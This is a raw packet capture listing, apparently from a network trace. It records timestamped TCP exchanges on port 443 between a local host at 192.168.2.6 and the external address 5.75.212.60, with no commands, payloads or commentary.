Jul 26, 2024 11:26:37.311398983 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.312247038 CEST	49720	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.312279940 CEST	443	49720	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.951428890 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.951541901 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.951972008 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.952001095 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:37.953607082 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:37.953619957 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.392942905 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.392967939 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.392983913 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.393099070 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.393150091 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.393313885 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.393315077 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.425743103 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.425765038 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.425890923 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.425908089 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.425957918 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.493747950 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.493772984 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.493921041 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.493942976 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.493993044 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.525338888 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.525357962 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.525464058 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.525477886 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.525528908 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.566270113 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.566283941 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.566478968 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.566493034 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.566543102 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.590718031 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.590732098 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.590816975 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.590825081 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.590874910 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.611480951 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.611495018 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.611586094 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.611592054 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.611630917 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.627388000 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.627403021 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.627518892 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.627527952 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.627569914 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.646922112 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.646959066 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.647047997 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.647078037 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.647108078 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.647135973 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.664699078 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.664717913 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.664799929 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.664869070 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.664905071 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.664928913 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.696119070 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.696139097 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.696289062 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.696353912 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.696547031 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.701884985 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.701904058 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.702037096 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.702104092 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.702158928 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.713185072 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.713206053 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.713301897 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.713367939 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.713418961 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.722651958 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.722676039 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.722740889 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.722755909 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.722790956 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.722812891 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.729458094 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.729482889 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.729552031 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.729563951 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.729592085 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.729608059 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.735496044 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.735519886 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.735605955 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.735618114 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.735667944 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.735687017 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.744879961 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.744905949 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.744967937 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.744981050 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.745012045 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.745032072 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.753736973 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.753758907 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.753849983 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.753863096 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.753916979 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.765818119 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.765837908 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.765923977 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.765937090 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.765983105 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.792478085 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.792505026 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.792586088 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.792604923 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.792669058 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.796452999 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.796466112 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.796540976 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.796555042 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.796602011 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.811269045 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.811285019 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.811377048 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.811388969 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.811433077 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.814982891 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.814996958 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.815057993 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.815069914 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.815119982 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.828469992 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.828490019 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.828551054 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.828564882 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.828594923 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.828612089 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.832643986 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.832657099 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.832743883 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.832756996 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.832802057 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.845391989 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.845405102 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.845455885 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.845464945 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.845489979 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.845509052 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.852052927 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.852066994 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.852128983 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.852133989 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.852176905 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.878715038 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.878730059 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.878808975 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.878817081 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.878863096 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.888741970 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.888756037 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.888807058 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.888813019 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.888851881 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.904458046 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.904470921 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.904608965 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.904614925 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.904654980 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.908724070 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.908735991 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.908790112 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.908796072 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.908848047 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.919783115 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.919799089 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.919888020 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.919899940 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.919958115 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.926009893 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.926024914 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.926079988 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.926086903 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.926122904 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.936954021 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.936968088 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.937024117 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.937031031 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.937071085 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.971003056 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.971040010 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.971092939 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.971101046 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.971142054 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.971164942 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.982507944 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.982530117 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.982570887 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.982577085 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.982599974 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.982619047 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.986444950 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.986466885 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.986510992 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.986517906 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.986538887 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.986609936 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.995424986 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.995451927 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.995523930 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:38.995532036 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:38.995587111 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.011384010 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.011404991 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.011468887 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.011476040 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.011512041 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.016154051 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.016194105 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.016226053 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.016232967 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.016259909 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.016274929 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.030210972 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.030241966 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.030355930 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.030361891 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.030412912 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.034336090 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.034358978 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.034431934 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.034437895 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.034477949 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.060475111 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.060514927 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.060619116 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.060647964 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.060693979 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.069665909 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.069686890 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.069767952 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.069777012 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.069813967 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.079509974 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.079533100 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.079597950 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.079603910 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.079639912 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.088301897 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.088323116 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.088408947 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.088422060 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.088474989 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.100323915 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.100344896 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.100387096 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.100395918 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.100415945 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.100434065 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.103740931 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.103760958 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.103795052 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.103801966 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.103822947 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.103842020 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.121098042 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.121135950 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.121186018 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.121191025 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.121228933 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.121248960 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.123672962 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.123703957 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.123744965 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.123750925 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.123775005 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.123796940 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.152909040 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.152939081 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.153018951 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.153028965 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.153076887 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.160501003 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.160527945 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.160573006 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.160582066 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.160604954 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.160621881 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.170928001 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.170949936 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.171036005 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.171045065 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.171082020 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.179713011 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.179733038 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.179812908 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.179819107 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.179863930 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.192439079 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.192470074 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.192514896 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.192523956 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.192547083 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.192570925 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.195344925 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.195369959 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.195416927 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.195424080 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.195451975 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.195466042 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.212644100 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.212673903 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.212723017 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.212730885 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.212755919 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.212776899 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.215121984 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.215145111 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.215214968 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.215223074 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.215265036 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.243531942 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.243552923 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.243622065 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.243630886 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.243668079 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.252089977 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.252110958 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.252177954 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.252201080 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.252243996 CEST	49721	443	192.168.2.6	5.75.212.60
Jul 26, 2024 11:26:39.262341022 CEST	443	49721	5.75.212.60	192.168.2.6
Jul 26, 2024 11:26:39.262356043 CEST	443	49721	5.75.212.60	192.168.2.6
